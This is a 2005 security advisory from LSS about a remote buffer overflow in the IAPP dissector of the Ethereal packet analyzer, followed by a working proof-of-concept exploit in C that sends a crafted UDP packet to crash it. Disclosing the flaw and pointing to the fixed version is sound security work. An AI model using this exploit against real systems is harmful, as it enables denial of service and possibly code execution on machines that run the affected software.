Ethereal remote buffer overflow #2

[LSS Security <exposed@xxxxxx>]

                        LSS Security Advisory #LSS-2005-03-05
                               http://security.lss.hr

---

Title                   :  Ethereal remote buffer overflow #2
Advisory ID             :  LSS-2005-03-05
Date                    :  2005-03-10
Advisory URL:           :  
http://security.lss.hr/index.php?page=details&ID=LSS-2005-03-05
Impact                  :  DoS and maybe possible code execution 
Risk level              :  Medium 
Vulnerability type      :  Remote 
Vendors contacted       :  10th March, 2005

---




===[ Overview 

Ethereal is an application used by network professionals for troubleshooting, 
analysis and education, as well as the software and protocol development. 
Ethereal provides all the features that protocol analyzer should have. 
Moreover, there are several extra features which other products do not support.
The license is open source, what allows networking community experts to add 
enhancements. Ethereal also supports different platforms, including Unix, Linux,
and Windows.



===[ Vulnerability

We have discovered another vulnerability in one of Ethereal dissectors. This 
time
problem is in IAPP dissector. It is possible to overflow static buffer with 
length value taken from network packet. Vulnerability itself is in 
dissect_pdus() 
function.
Length is calculated from two guint8 variables in which first one is shifted to 
left, and second is added to it, so it can be up to 65535. That length is later 
used in loops that can be abused to overflow static buffer 'textbuffer[2000]'.

packet-iapp.c
-------------
static void
dissect_pdus(tvbuff_t *tvb, int offset, proto_tree *pdutree, int pdulen)
{
 ...
 int len;
 ...
 tvb_memcpy(tvb, (guint8 *)&pduhdr, offset, sizeof(e_pduhdr));
 len = (((int)pduhdr.pdu_len_h) << 8) + pduhdr.pdu_len_l;
 ...
}
-------------

Vulnerable loop example in packet-iapp.c:
-----------------
pduval_to_str(int type, int len, tvbuff_t *tvb, int offset)
{
...
     case IAPP_PDU_MSADDR:
     mac = tvb_get_ptr(tvb, offset + 3, len);
     for (z = 0; z < len; z++)
         run += sprintf(run, "%s%02x", z ? ":" : "", mac[z]);
             break;
...
}
----------------

Remote code execution depends on overflowed buffer environment, and maybe it 
could be possible, but wasn't further investigated.



===[ Affected versions

All versions after IAPP dissector was added to CVS, including version 0.10.9.
PoC exploit for this vulnerability was tested with Ethereal 0.10.9 on Windows,
and Ethereal developer Guy Harris tested it on OS X.



===[ Fix

This vulnerability is fixed in latest Ethereal version 0.10.10, and can be 
downloaded from http://www.ethereal.com/download.html.



===[ PoC Exploit

Proof of concept code can be downloaded at http://security.lss.hr/en/PoC



===[ Credits

Credits for this vulnerability goes to Leon Juranic <ljuranic@xxxxxx>.



===[ LSS Security Contact
 
 LSS Security Team, <eXposed by LSS>
 
 WWW    : http://security.lss.hr
 E-mail : security@xxxxxx
 Tel    : +385 1 6129 775
  



/*
 * 
 * Ethereal IAPP remote buffer overflow #2 PoC exploit 
 * ---------------------------------------------------
 * To test this vulnerability on windows, try to send 3-10 packets 
 * that will trigger the crash, and scroll between captured packets
 * in Ethereal.
 * 
 * Coded by Leon Juranic <ljuranic@xxxxxx> 
 * LSS Security <http://security.lss.hr/en/>
 * 
 */ 

#include <stdio.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

#define IAPP_PDU_SSID 0

typedef struct _e_iapphdr {
        unsigned char ia_version;
        unsigned char ia_type;
} e_iapphdr;


typedef struct _e_pduhdr {
        unsigned char pdu_type;
        unsigned char pdu_len_h;
        unsigned char pdu_len_l;
} e_pduhdr;


void xp_sendpacket (char *pack)
{
        WORD wVersionRequested;
        WSADATA wsaData;
        int err;
        int sock,i;
        struct sockaddr_in sin;
        unsigned char buf[2000];
        char bla[2000];
        e_iapphdr *iapp;
        e_pduhdr *pdu;

        wVersionRequested = MAKEWORD( 2, 2 );
        err = WSAStartup( wVersionRequested, &wsaData );
        if ( err != 0 ) {
                printf ("error!!!\n");
                ExitProcess(-1);
        }

        sock=socket(AF_INET,SOCK_DGRAM,0);

        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr = inet_addr(pack);
        sin.sin_port = htons(2313);

        iapp = (e_iapphdr*)&buf;
        iapp->ia_version = 1;
        iapp->ia_type = 1;
        
        pdu  = (e_pduhdr*)(buf+2);
        pdu->pdu_type = 3; 
        pdu->pdu_len_h = 0x05;    
        pdu->pdu_len_l = 0xa1;
        
        memset (bla,'\xfc',1300); 
        strncpy ((char*)&buf+sizeof(e_iapphdr)+sizeof(e_pduhdr),bla,2000);
        
//      for (i=0;i<1000;i++)
        sendto (sock,(char*)buf,1489,0,(struct sockaddr*)&sin,sizeof(struct 
sockaddr));

}


main (int argc, char **argv)
{
        
        xp_sendpacket(argv[1]);
}